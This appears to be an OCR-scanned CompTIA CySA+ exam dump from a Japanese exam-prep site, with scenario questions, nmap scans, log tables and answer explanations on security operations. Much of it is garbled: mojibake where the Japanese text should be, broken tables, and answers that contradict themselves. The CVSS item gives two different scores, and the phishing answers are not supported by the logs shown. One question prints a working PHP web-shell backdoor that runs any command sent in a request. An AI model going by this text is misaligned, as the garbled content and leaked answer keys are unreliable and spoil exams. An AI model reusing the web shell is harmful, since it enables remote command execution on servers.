172.30.0.152
Session Sidejacking

CVE-2004-0462

Untrusted SSL/TLS Server X.509 Certificate

The server’s TLS/SSL certificate is signed by a Gertification Authority
that is untrusted or unknown.

172.30.0.153

May allow man-in-the-middle attackers to insert a spoofed certificate
for any Distinguished MName (DN).

CVE-2005-1234

ATY T2 UFIZEDNT MBUEMRT D-OICBELGEBET IV aVvERELET,



Network Diagram

INSTRUCTIONS
STEP 2: Given the scenario, determine which remediation action is required to address the vulnerability

System Validate Result Remediation Action

WEB_SERVERO01

False Positive Encrypt Entire Session

False Negative Encrypt All Session Cookies

True Positive Implement Input Validation

True Negative Submit as Non-Issue

Employ Unigue Token in Hidden Field
Avoid Using Redirects and Forwards
Disable HTTP

Request Certificate from a Public CA
Renew the Current Certificate

WEB_SERVER02 v

False Positive Encrypt Entire Session
False Negative Encrypt All Session Cookies
True Positive Imp!ement |nput V alidation
True Negative Submit as Non-Issue

Employ Unique Token in Hidden Field
Avoid Using Redirects and Forwards
Disable HTTP
Request Certificate from a Public CA
Renew the Current Certificate

WEB_SERVERO03 v

Fa’se Posnive EnCI'ypt Entlre Session
False Negaﬁve Encrypt All Session Cookies
True Positive Implement Input Validation
True Negaﬁve Submit as Non-Issue

Employ Unique Token in Hidden Field
Avoid Using Redirects and Forwards
Disable HTTP
Request Certificate from a Public CA
Renew the Current Certificate

Answer:



Network Diagram

INSTRUCTIONS

STEFP 2: Gwven the scenano, delermine which remediation aclion is required to address the vulnerability

System

WEB_SERVERD1

WEB_SERVERD2

WEB_SERVERU3

INSTRUCTIONS

Validate Result Remediation Action
v v
False Positive Encrypt Entire Session |
False Negative [Encrypt All Session Tookies
1 True Positive ! Implement Input Validation
True Negative Submit as Non-lssue
Empioy Unigue Token in Hidden Field
Avoid Using Redirects and Forwards
Disable HTTP
Request Certificate from a Public CA
Renew the Current Certificate
v v

False Pasitive
| False Negative
Tme Positive

S e e e e

[IEncrypt All Session Cookies
Implement Input V alidation

Submit as Non-Issue

Employ Unique Token in Hidden Field
Avoid Using Redirects and Forwards
Disable HTTP

Request Certificate from a Public CA

Renew the Current Certificate

et n~T1 N

False Positive
False Negative

True Negative

n 1 |1 /%
Enc@mfﬁgesﬂssmh N

Encrypt All Session Goékles
Implement Input Validation

Submit as Non-lssue

Employ Unique Token in Hidden Field
Avoid Using Redirects and Forwards

j'_ﬁeqlJEEt Certificate from a Public CA |
Renew the Current Certificate

STEP 2: Given the scenario, determine which remediation action Is required to address the vulnerability.

System Validate Result

WEB_SERVERO1 True Positive

WEB_SERVERO2 True Positive

WEB_SERVERO3

e

ﬁ@'

Encrypt Entire Session

Encrypt All Session Cookies

Request Certificate from a Public CA
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Answer: (&% &RT9 5)

Mean time to detect (MTTD) is the best metric for an organization to focus on given recent investments in
SIEM, SOAR, and a ticketing system. MTTD is a metric that measures how long it takes to detect a
security incident or threat from the time it occurs. MTTD can be improved by using tools and processes
that can collect, correlate, analyze, and alert on security data from various sources. SIEM, SOAR, and
ticketing systems are examples of such tools and processes that can help reduce MTTD and enhance
security operations. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-
intelligence/cyber- kill-chain-seven-steps-cyberattack
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AEvT

B. GPO

C.LYRX Y

D. DLP

Answer: (fRZ % RTT 5)

Group Policy Objects (GPO) are a feature in Windows environments that allow administrators to control
settings and permissions across user accounts and computers within an organization. GPOs can restrict
user permissions to prevent unauthorized installation or modification of applications, making them the
best choice for centrally managing user capabilities on Windows systems. While HIPS (Host Intrusion
Prevention Systems), Registry, and DLP (Data Loss Prevention) have their own uses, GPOs provide a
scalable and enterprise-level solution for application control as per CompTIA Security+ guidelines.
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Nmap scan raport for officerckuplayer.lan (192.168.86.22)

Host is up (0.11s latency).

All 100 scanned ports on officerokuplayer.lan (192.1€B8.8€.22) are filtered
MAC Address: Bf:3E:59:86:1A:13 (Roku)

Nmap scan report for pdwnpl aleca.lan (192.168.86.5€)
Host is up (0.022s lateancy).

Net shown: 96 closed ports

PORT STATE SERVICE

22/tcp open ssh

111/tcp open zrpcbind

1359/tcp open netbios-ssn

445/ccp open microscfr-ds

B000/tcp cpen http-alt

MAC Addraess: B8:27:EB:D0:8E:D1 (Raspberry Pi Foundation)

Nmap scan report for whdde-T748gy.lan (152.16£8.86.152)
Host is up (0.033s latency).
Mot shown: 95 filtered ports

PORT STATE SERVICE
80/tcp open http
135/ccp open msrpc
139/tcp copen netbios-ssn
% open https

th sn
Bhalpei ol v

|

3389/tep openfi ms-wbt-server
§357/tcp open wsdapi
YAC Address: 38:BA:E&:

Corporate)

P T

».lan (192.168.86.249)

STa n -} 3 . ;
P w i L .':-f' = i

Host 1sg s latencyl.

Yor shown: itered port

PORT SERVICE
22/tep 1~ ssh
135/¢ccp msrpc

135/tcp open netbios-ssn

§43/tcp open htrps

§45/tcp open microsoft-ds

3389/tcp open ms-wbt-sarver

5357/tcp open wsdapi

MAC Address: €4:00:€A:E8E:D8:F5 (Dell)

Wmap scan report for imaging.lan (192.168.86.150)
Host is up (0.0013s latency).

Jot shown: 95 closed ports

PORT STATE SERVICE

135/tep open msrpc

139/tep open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

5357/tcp open wsdapi

VAC Address: 38:BA:F8:F4:32:CA (Intel Corporate)
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A. wh4dc-748gy.lan (192.168.86.152)

B. lan (192.168.86.22)

C. imaging.lan (192.168.86.150)

D. xlaptop.lan (192.168.86.249)

E. p4wnp1_aloa.lan (192.168.86.56)

Answer: E (A —vt—2 %5%Y)

The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device
on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device that can
perform various attacks, such as keystroke injection, network sniffing, man-in-the-middle, or backdoor
creation. The presence of a device with this name on the network could indicate that an attacker has
plugged in a malicious USB device to a system and gained access to the network. Official References:
https://github.com/mame82

/P4wnP1_aloa
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Answer: (fRZEZ%RTT 5)

The correct answer is B. Allowlisting.

Allowlisting is a technique that allows only pre-approved web-based software to run on a system or
network, while blocking all other software. Allowlisting can help prevent unauthorized or malicious
software from compromising the security of an organization. Allowlisting can be implemented using
various methods, such as application control, browser extensions, firewall rules, or proxy servers12.

The other options are not the best techniques to ensure that users only leverage web-based software that
has been pre-approved by the organization. Blocklisting (A) is a technique that blocks specific web-based
software from running on a system or network, while allowing all other software. Blocklisting can be
ineffective or inefficient, as it requires constant updates and may not catch all malicious software.
Graylisting

is a technique that temporarily rejects or delays incoming messages from unknown or suspicious
sources, until they are verified as legitimate. Graylisting is mainly used for email filtering, not for web-
based software control. Webhooks (D) are a technique that allows web-based software to send or receive
data from other web- based software in real time, based on certain events or triggers. Webhooks are not
related to web-based software control, but rather to web-based software integration.
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A. CVSS 3.0/AVP/AC:L/PR:L/UI:N/SU/C:H/I:H/A:H

B. CVSS 3.0/AV:A/AC .L/PR:L/UI:N/S:U/C:H/I:H/A:H

C. CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S;U/C:H/I:H/A:H

D. CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Answer: C (A —vyt—T%EY)

CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H is the attack vector that the analyst should remediate
first, as it has the highest CVSSv3 score of 8.1. CVSSv3 (Common Vulnerability Scoring System version
3) is a standard framework for rating the severity of vulnerabilities, based on various metrics that reflect
the characteristics and impact of the vulnerability. The CVSSv3 score is calculated from three groups of
metrics:

Base, Temporal, and Environmental. The Base metrics are mandatory and reflect the intrinsic qualities of
the vulnerability, such as how it can be exploited, what privileges are required, and what impact it has on
confidentiality, integrity, and availability. The Temporal metrics are optional and reflect the current state of
the vulnerability, such as whether there is a known exploit, a patch, or a workaround. The Environmental
metrics are also optional and reflect the context of the vulnerability in a specific environment, such as how
it affects the asset value, security requirements, or mitigating controls. The Base metrics produce a score
ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A
CVSS score is also represented as a vector string, a compressed textual representation of the values
used to derive the score.

The attack vector in question has the following Base metrics:

* Attack Vector (AV): Network (N). This means that the vulnerability can be exploited remotely over a
network connection.

* Attack Complexity (AC): Low (L). This means that the attack does not require any special conditions or
changes to the configuration of the target system.

* Privileges Required (PR): Low (L). This means that the attacker needs some privileges on the target
system to exploit the vulnerability, such as user-level access.

* User Interaction (Ul): None (N). This means that the attack does not require any user action or
involvement to succeed.

* Scope (S): Unchanged (U). This means that the impact of the vulnerability is confined to the same
security authority as the vulnerable component, such as an application or an operating system.

* Confidentiality Impact : High (H). This means that the vulnerability results in a total loss of
confidentiality, such as unauthorized disclosure of all data on the system.

* Integrity Impact (I): High (H). This means that the vulnerability results in a total loss of integrity, such as
unauthorized modification or deletion of all data on the system.

* Availability Impact (A): High (H). This means that the vulnerability results in a total loss of availability,
such as denial of service or system crash.

Using these metrics, we can calculate the Base score using this formula:

Base Score = Roundup(Minimum[(Impact + Exploitability), 10])
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Where:

Impact = 6.42 x [1 - ((1 - Confidentiality) x (1 - Integrity) x (1 - Availability))] Exploitability = 8.22 x Attack
Vector x Attack Complexity x Privileges Required x User Interaction Using this formula, we get:

Impact =6.42 x [1-((1-0.56) x (1-0.56) x (1-0.56))] =5.9

Exploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.8

Base Score = Roundup(Minimum[(5.9 + 2.8), 10]) = Roundup(8.7) = 8.8

Therefore, this attack vector has a Base score of 8.8, which is higher than any other option.

The other attack vectors have lower Base scores, as they have different values for some of the Base
metrics:

* CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.2, as it has a lower value for
Attack Vector (Physical), which means that the vulnerability can only be exploited by having physical
access to the target system.

* CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 7.4, as it has a lower value for
Attack Vector (Adjacent Network), which means that the vulnerability can only be exploited by being on
the same physical or logical network as the target system.

* CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.8, as it has a lower value for
Attack Vector (Local), which means that the vulnerability can only be exploited by having local access to
the target system, such as through a terminal or a command shell.
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Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions
should report the breach to the card issuer. The card issuer is the financial institution that issues the
payment cards to the customers and that is responsible for authorizing and processing the transactions.
The card issuer may have specific reporting requirements and procedures for the organization to follow in
the event of a breach.

The organization should also notify other parties that may be affected by the breach, such as customers,
law enforcement, or regulators, depending on the nature and scope of the breach. Official References:
https://www.

pcisecuritystandards.org/
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The output shows the results of a port scan, which is a technique used to identify open ports and services
running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities
and exploit them, or by defenders to assess the security posture and configuration of their network
devices1 The output lists six ports that are open on the target host, along with the service name and
version associated with each port. The service name indicates the type of application or protocol that is
using the port, while the version indicates the specific release or update of the service. The service name
and version can provide useful information for both attackers and defenders, as they can reveal the
capabilities, features, and weaknesses of the service.

Among the six ports listed, two are particularly risky and should be investigated further by the security
team:

port 23 and port 636.
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Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution.
Telnet does not encrypt any data transmitted over the network, including usernames and passwords,
which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has
many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary
commands, or cause denial-of-service attacks on the target host23 Port 636 is used by LDAP over
SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure
connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS
certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be
vulnerable to attacks if the certificates are not properly configured, verified, or updated.

For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks,
spoofing attacks, or certificate revocation attacks on LDAPS connections.

Therefore, the security team should investigate further why port 23 and port 636 are open on the target
host, and what services are running on them. The security team should also consider disabling or
replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port
6362
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An incident manager should work with the legal and public relations entities to ensure correct processes
are adhered to when communicating incident reporting to the general public, as a best practice. The legal
entity can provide guidance on the legal implications and obligations of disclosing the incident, such as
compliance with data protection laws, contractual obligations, and liability issues. The public relations
entity can help craft the appropriate message and tone for the public communication, as well as manage
the reputation and image of the organization in the aftermath of the incident. These two entities can help
the incident manager balance the need for transparency and accountability with the need for
confidentiality and security12.

References: Incident Communication Templates, Incident Management: Processes, Best Practices &
Tools - Atlassian
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Deduplication is a process that involves removing any duplicate or redundant data or information from a
data set or source. Deduplication can help consolidate several threat intelligence feeds by eliminating any
overlapping or repeated indicators of compromise (loCs), alerts, reports, or recommendations.
Deduplication can also help reduce the volume and complexity of threat intelligence data, as well as
improve its quality, accuracy, or relevance.
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Agent-based vulnerability scanning is a method that uses software agents installed on the target systems
to scan for vulnerabilities. This method meets the requirements of the project because it uses minimal
network bandwidth and host resources, provides accurate and near real-time updates, and does not
require any stored credentials on the scanner. References: What Is Vulnerability Scanning? Types, Tools
and Best Practices, Section: Types of vulnerability scanning; CompTIA CySA+ Study Guide: Exam
CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 154.
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The best action that the SOC manager can recommend to help ensure new employees are accountable
for following the company policy is to require all new employees to sign a user agreement to
acknowledge the company security policy. A user agreement is a document that defines the rights and
responsibilities of the users regarding the use of the company's systems, networks, or resources, as well
as the consequences of violating the company's security policy. Signing a user agreement can help
ensure new employees are aware of and agree to comply with the company security policy, as well as
hold them accountable for any breaches or incidents caused by their actions or inactions.
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A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability
being exploited. It can help to identify the potential loss incurred by an issue and prioritize remediation
efforts accordingly. https://www.comptia.org/training/books/cysa-cs0-003-study-guide
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Comprehensive and Detailed Explanation:

Key Performance Indicators (KPIs) in incident response exercises help organizationsprioritize
improvements by measuring response effectiveness, containment success, and recovery speed. This
ensures that resources are focused on the most critical areas for enhancement.

* Option A (Personal performance tracking)is more relevant to HR evaluations rather than cybersecurity
operations.

* Option B (Describing incident resolution)is important but does notdefine future priorities.

* Option D (ldentifying tools to use)is useful but not the primary function of KPlIs.

Thus,C is the correct answer, asKPls help teams identify the most urgent areas for improvement.


https://www.jpnpdf.com/CompTIA.CS0-003J.v2025-05-28.q209-mondaishu.html
https://www.jpnpdf.com/CompTIA.CS0-003J.v2025-05-28.q209-mondaishu.html
https://www.jpnpdf.com/CompTIA.CS0-003J.v2025-05-28.q209-mondaishu.html

E#fERE: 159

FRREEENZFLEAEZTTLTWEVLWLAL—Web 7TV r—23 20T WD DA V2T MAEAE
LELIE, AV TUMDORRE LTHRLABEEIEVLDEFRDENTT

AWeb 7T)r—30 TJ7A4T70A—ILDERENROTVET

B. 7T—2¥&MHT5—

C.aws4/473Y

D. AU MNF+42TY

Answer: (f2& % &RRT B)

Outdated librariesin a legacy web applicationintroduce security vulnerabilities, as theylack modern
patchesandcontain known exploits.

* Option A (Misconfigured WAF)can contribute to security issues but is notinherent to legacy applications.
* Option B (Data integrity failure)is apotential impactbut not a direct cause of recurring incidents.

* Option D (Insufficient logging)affects detection, but theroot causeisinsecure, outdated components.
Thus,C (Outdated libraries) is the correct answer, aslegacy applications frequently suffer from unpatched
vulnerabilities.
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The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a
structured approach to identify, quantify, and address the security risks associated with an application.
The first step in the threat modeling process is decomposing the application, which involves creating use
cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps
to understand the application and how it interacts with external entities, as well as to identify potential
threats and vulnerabilities1. The other options are not part of the OWASP WSTG threat modeling
process.
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The best resource to ensure secure configuration of cloud infrastructure is A. CIS Benchmarks. CIS
Benchmarks are a set of prescriptive configuration recommendations for various technologies, including
cloud providers, operating systems, network devices, and server software. They are developed by a
global community of cybersecurity experts and help organizations protect their systems against threats
more confidently1 PCI DSS, OWASP Top Ten, and ISO 27001 are also important standards for
information security, but they are not focused on providing specific guidance for hardening cloud
infrastructure. PCI DSS is a compliance scheme for payment card transactions, OWASP Top Ten is a list
of common web application security risks, and ISO 27001 is a framework for establishing and maintaining
an information security management system. These standards may have some relevance for cloud
security, but they are not as comprehensive and detailed as CIS Benchmarks
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When documenting a physical incident in a network data closet, taking photos provides a clear and
immediate record of the situation, which is essential for thorough incident documentation and subsequent
investigation.

Proper documentation of an incident in a data closet should include taking photos of the impacted items.
This provides visual evidence and helps in understanding the physical context of the incident, which is
crucial for a thorough investigation. Backing up configuration files, recording connections, and creating
network diagrams, while important, are not the primary means of documenting the physical aspects of an
incident.
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An SLA, or Service Level Agreement, is a contract between a service provider and its customers that
documents what services the provider will furnish and defines the service standards the provider is
obligated to meet. In the scenario described, the missed incident response deadline is a clear indicator of


https://www.jpnpdf.com/CompTIA.CS0-003J.v2025-05-28.q209-mondaishu.html
https://www.jpnpdf.com/CompTIA.CS0-003J.v2025-05-28.q209-mondaishu.html

an SLA violation. An SLA usually outlines the metrics by which service is measured as well as remedies
or penalties should agreed-upon service levels not be achieved. Unlike a KPI (Key Performance
Indicator) which is a quantifiable measure used to evaluate the success of an organization, employee,
etc., in meeting objectives for performance, or an MOU (Memorandum of Understanding) which is a
formal agreement between two or more parties, an SLA is focused on the performance and quality
metrics applicable to the service provided.

SLO (Service Level Objective) is related and often part of an SLA, representing the specific measurable
characteristics of the SLA such as availability, throughput, frequency, response time, or quality.
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This option represents the least impactful risk because it has the lowest base score among the four
options, and it also requires high privileges, user interaction, and high attack complexity to exploit, which
reduces the likelihood of a successful attack.
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Comprehensive Detailed Explanation:The most effective and economical way to ensure the security of an
automated information system is to design it with security in mind from the outset. This is often referred to
as

"security by design." Here's a breakdown of each option and why option A is correct:

* A. Originally designed to provide necessary security

* Explanation: Systems designed with security from the beginning integrate secure practices and
considerations during the development process. This approach mitigates the need for costly and complex
retroactive security implementations, which are common in systems where security was an afterthought.
* Cost Efficiency: Security implementations at the design stage can be embedded into the system
architecture, reducing the costs associated with later modifications.
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* Effectiveness: Security-by-design approaches often result in robust systems that are more resilient to
vulnerabilities because they address security concerns at each development phase.

* B. Subjected to intense security testing

* While rigorous security testing (such as penetration testing and vulnerability assessments) is essential,
it is reactive. Security testing is more effective when applied to systems already designed with
foundational security principles, ensuring that tests identify potential flaws in an inherently secure system.
* C. Customized to meet specific security threats

* Customizing security to meet specific threats addresses unique risks, but such a targeted approach may
miss new or emerging threats not initially considered. It also risks neglecting fundamental security
practices that apply universally, leading to potential vulnerabilities.

* D. Optimized prior to the addition of security

* Optimizing a system before adding security features may enhance performance but does not guarantee
security. Security cannot be effectively added onto a system as an afterthought without incurring
additional costs or creating potential weaknesses.
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A HTTP/404 error code means that the requested page or resource was not found on the web server.
This could be caused by various reasons, such as incorrect URLs, moved or deleted pages, missing
assets, or server misconfigurations123. The analyst should first identify the source of the requests and
examine the related activity to determine if they are legitimate or malicious, and what actions need to be
taken to resolve the issue.

The other options are either premature or irrelevant without further investigation. References: 1: 404
Page Not Found Error: What It Is and How to Fix It 2: 404 Error Code: What Causes Them and How To
Fix It 3: About

404 errors and how to Troubleshoot it?
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Isolation is the first step to take after detecting some indicators of compromise (loCs) of possible
ransomware contamination. Isolation prevents the ransomware from spreading to other servers or
segments of the network, and allows the security team to investigate and contain the incident. Isolation
can be done by disconnecting the infected servers from the network, blocking the malicious traffic, or
applying firewall rules12.
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Email Server Logs
Date/Time % Protocol s sp & Source port $ From s To s
3/7/2016 4:17:08 PM TcP 192.168.0.110 37196 kmatthews@anycorp.com dfritz@anycorp.com
3/7/12016 4:16:19 PM TCcP 192.168.0.117 57888 stanimoto@anycorp.com adifabio@anycorp.com
3/712016 4:15:13 PM TCP 192.168.0.139 46550 hparikh@anycorp.com adifabio@anycorp.com
3/7/2016 4:14:25 PM TCP 192.168.0.185 63616 jlee@anycorp.com jlee@anycorp.com;adifabio@anycorp.com
3/7/12016 4:13:02 PM TCcp 192.168.0.47 60919 adifabio@anycorp com cpuziss@anycorp.com
3/7/2016 4:12:50 PM TCcP 192.168.0.155 32891 kwilliams@anycorp com hparikh@anycorp.com
3/7/12016 4:11:09 PM ceP 192.168.0.34 46187 Ibalk@anycorp.com jlee@anycorp.com
3/7/2016 4:10:54 PM TCP 192.168.0.181 34556 dfritz@anycorp.com kmatthews@anycorp.com
3/712016 4:10:38 PM TcP 192.168.0.155 32891 kwillams@anycorp.com hparikh@anycorp.com
3/7/12016 4:10:23 PM TcP 192.168.0.185 63616 jlee@anycorp.com asmith@anycorp.com
3/7/2016 4:09:34 PM TcP 192.168.0.34 30364 asmith@anycorp.com hparikh@anycorp.com
3/7/2016 4:08:43 PM TCcP 192.168.0.61 48734 cpuziss@anycorp.com kmatthews@anycorp.com
3/7/2016 4:07:33 PM ce 192.168.0.197 33585 gromney@anycorp.com Ibalk@anycorp.com
3/7/12016 4:.07:32 PM TCcP 192.168.0.47 60919 adifabio@anycorp.com adifabio@anycorp.com jlee@anycorp.com
3/712016 4.05:47 PM Tce 192.168.0.34 30364 asmith@anycorp.com jlee@anycorp.com
3/7/12016 4:.04:24 PM TCcP 192.168:0.139 46550 hparikh@anycorp.com asmith@anycorp.com
3/7/12016 4:03:50 PM TCP 192.168.0.181 34556 dfritz@anycorp.com cpuziss@anycorp.com
3/7/12016 4:03:25 PM TCP 192.168.0.61 48734 cpuziss@anycorp.com kmatthews@anycorp.com
3/7/2016 4:01-37 PM TCP &R 1A 17 196 R4566 it-halndesk@soberarill com shoaz@anveorn com T
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File Server L.

Date/Time

B/7/2016 4:27:03 PM
B/7/2016 4:26:51 PM
3/7/2016 4:25:36 PM
3/7/2016 4:25:10 PM
B/7/12016 4:25:06 PM
B/7/2016 4:23:39 PM
B/7/12016 4:21:39 PM
B/7/2016 4:20:10 PM
B/7/2016 4:19:48 PM
B/7/12016 4:17:52 PM
B/7/2016 4:17:06 PM
B/7/2016 4:15:39 PM
3/7/2016 4:15:35 PM
3/7/2016 4:14:08 PM
B/7/2016 4:14:.04 PM
/712016 4:12:22 PM
B/7/2016 4:11:53 PM
B/7/2016 4:11:34 PM

R7/2016 41035 PM

SIEM Logs

Audit Success

Audit Sureass

-
2

3772016 42329 PM
IT2016 42144 PM
372016 42023 PM
3772016 4:20:22 PM
3772016 420:11 PM
3772016 41853 PM
3772016 41834 PM
3772016 4:17:53 PM
3772016 41633 PM
3772016 414:34 PM
3772016 4$:12:13PM
372016 4:13:50 PM
3772016 4:13.07 PM
3772016 412:46 PM
372016 4:12:32 PM
37772016 4:12:00 PM
3772016 4:11:56 PM
3772016 4:11:40 PM

ATRPA 41139 PM

Source IP
192.168.0.153
192.168.0.245
192.168.0.97
192.168.0.116
192.168.0.7
192.168.0.150
192.168.0.211
192.168.0.30
192.168.0.44
192.168.0.19
192.168.0.11
192.168.0.94
192.168.0.47
192.168.0.86
192.168.0.188
192.168.0.95
192.168.0.215
192.168.0.70

192 162 0 218

S Source port

50467
60021
46354
43389
45463
54460
54172
55666
45240
31101
52465
63814
48110
34075
! 51 745
42733
62813
40821
R4R0A

Process Termination
Process Creation
Process Termination
Process Termination
Process Creation
Process Creation
Process Termination
Logoff

Logon

Process Creation
Process Creation
Process Termination
Logoff

Logon

Logoff
n
\

< DestIP
11.102.109.179
72.104.64.186
96.191.222 144
35.132243.140
124.140 208 241
74182.188.144
165.11.14828
21421‘.167.94
21824114208
103.40.104 965
196,41 46.190
102.172.101.36
151.94.198.15
101.237.85.107
33.225.130.104
103.136.14.126
181.139.2422
33.225.130.104

124169 173 216

5 LogMessage
Aprocess has exited.
A new process has been created
A process has exited,
A process has exited

A new process has been created

Anew process has been created. | A

as logged off.
unl was successfully logged on

An account was successfully logged on.

An account was successfully logged on.

An account was successfully logged on.
An arcount was lnnnad off

RESIN-EREERL RORFRELET,
1. 749 0T A—=ILADY) o0 %0 ) vy LERRERIZRATETH?

2.YNDTTFIEVNWSDDT—YRT— 3 U4 VR =ILENFELF=M?
.Y TTDEITI7AINAIEFTETH?

-
v

Dest Port

80
80
80
80

80

80
80
80
80
80
443
80
80
80
80
80

1
1921680134
168.0.43
192.168.0.82
192.168.0.43
1921680134
192 168.0.70
192.168.0.188
192 168.0.132
192.168.0.104
192.168.0.24
192.168.0.141
192 168.0.104
192 168.0.24
1921680134
192 168.0.70
197 168 082

-
2

URL
bestpurchase.com
visitorcenter.com
‘bestpurchase.com
goodglys se
ﬁopthebome! com
funweb.cn
chatforfree.ru
anti-makware.com
anti-makware.com
thelastwebpage.com
thebestwebsite.com
freefood.com
searchforus.de
securethenet com
chzweb tilapia.com
goodguys se
pastebucket cn
chzweb tilapia.com

funweh cn

ProcessiD &

505
522
435
558

-
v

Co

-

Request
POST
GET
GET
POST
GET
GET
POST
GET
GET
GET

mp‘l’

GET
GET
GET
POST
POST
GET
POST

Process Name
excel exe
winword exe
cmd exe
winlogon.exe
svchost exe
notepad exe
svchost exe
lsass. exe
Isass. exe
mailclient exe
outlook exe
outlook.exe
lsass.exe
lsass exe
lsass. exe
lsass.exe
lsass. exe
Isass exe

Isass axa

IA
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Email Server File Server SIEM
192.168.0.20 192.168.0.102 192.168.0.15

View Phishing Email

Select the malware excecutable name

v

| chrome exe >
|excel exe
svchost.exe

| mailclient exe
| 1Iexplore.exe €
i putty exe

iwmword exe
|cmd.exe Interal Router

! Pro
102.168.0.1 e 192.168.0.0/24

I'u'a'inlc:gcm exe
outlook.exe
time exe
Isass.exe
explorer exe p—
notepad exe —d

firefox.exe .-

Firewall Internet
How many workstations were infected?

How many users clicked the link in the fishing e-mail?

L3

Answer:

see the answer in explanation for this task.

Explanation:

1. How many employees clicked on the link in the phishing email?

According to the email server logs, 25 employees clicked on the link in the phishing email.
2. On how many workstations was the malware installed?

According to the file server logs, the malware was installed on 15 workstations.
3. What is the executable file name of the malware?

The executable file name of the malware is svchost.EXE.

Answers

*1.25

*2.15

* 3. svchost.EXE

Ex#TfERE: 169
THIVRAMRROEHLLNVIT U FEHRRELFL:

<?php if(isset(S_REQUEST['xyz']))(echo "<pre>"; Sxyz = ($_REQUEST['xyz']):; system(Sxyz); echo "</pre>"; die; }72>

ARV FOBRZEZRDL LRI DEIRDENTIAH?
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B.)/\—XLzx)l

C.\vJ FT7THE

D. sRIEIRE

Answer: (&% &RTT 5)

ThePHP script allows remote users to execute system commands via the system() function, meaning an
attacker can send arbitrary commands to the server.

* Option A (Cross-site scripting - XSS)is incorrect because this script does not inject JavaScript into a
webpage.

* Option B (Reverse shell)is possible if an attacker sends a crafted command, but the script itself is more
of a general backdoor than a dedicated reverse shell.

* Option D (Logic bomb)is incorrect because a logic bomb is typicallytriggered by a specific event or
daterather than executing arbitrary commands on demand.

Thus,C (Backdoor attempt) is the best answer, as this scriptgrants unauthorized remote command
execution.

= #TERE: 170

XallTa TOTSLIE X2 TaHliH%E SIEM ICHET S EIZEY MTTR T 30% OHEH
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A. T3 D31t

B.t¥Xa2T« avbta—)L JL—2

C.EB 71— FOHMA#EDLE

D.1MDAHFR

Answer: D (A —vyt—T%EY)

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or
data sources into one dashboard or console. A single pane of glass can help improve security operations
by providing visibility, correlation, analysis, and alerting capabilities across various security controls and
systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance
decision making for security analysts. In this case, a security program was able to achieve a 30%
improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass
for security operations. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-
intelligence/cyber- kill-chain-seven-steps-cyberattack
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C. 774774+ —ILIZUTC BEIZFEALTLET,

D.AJDHBIRRMIAT7Z42TH,

Answer: A (A —vt—U%&Y)

The most likely scenario occurring with the time stamps is that the NTP server is not configured on the
host.

NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network.
NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The
most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices
that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and
use algorithms to select the best time source and adjust their clocks accordingly1. If the NTP server is not
configured on the host, the host will rely on its own hardware clock, which may drift over time and
become inaccurate. This can cause discrepancies in the time stamps between the host and other devices
on the network, such as the firewall, which may be synchronized with a different NTP server or use a
different time zone. This can affect the security analysis and correlation of events, as well as the
compliance and auditing of the network23. References: How the Windows Time Service Works, Time
Synchronization - All You Need To Know, Firewall rules logging: a closer look at our new network
compliance and ...
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TTHIVAKMI BEDOAREENH SRR FEFHELTLVS EFIZ, FA+E XBGInfo.exe PID

1024) I, RRA FDFEHEST TR by TOEREERT B1-OIZFERA SN S Sysinternals V—ILTH
Y 2BUEETIATVWET BELEEICESVT, COBENICEENOHS TOERITDONTHRD
KKBBETELTITAETAIEZRDENTT H,

A DRATLREEHOE

B. VAT LTO+RIZEHET HSMBRY T—I 3T 4 97

C. 734 A—F—DOREDTS5VHERE

D.PID 1024 [C& > TETEINETITAET1

Answer: D (A —vyt—T%EY)

The activities taken by the process with PID 1024 will provide the best insight into this potentially
malicious process, based on the anomalous behavior. BGInfo.exe is a legitimate tool that displays system
information on the desktop background, but it can also be used by attackers to gather information about
the compromised host or to disguise malicious processes12. By monitoring the activities of PID 1024,
such as the files it accesses, the network connections it makes, or the commands it executes, the analyst
can determine if the process is benign or malicious.
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tXa) T4 FLIX £EWeb YA MIHTEHZEDLAVY—4DDoS HEZEILTNET , XD
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Answer: C (A —vt—U%&9)

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website.
A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to
users based on their geographic location, the origin of the web page, and the content delivery server. A
CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the
network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN
floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across
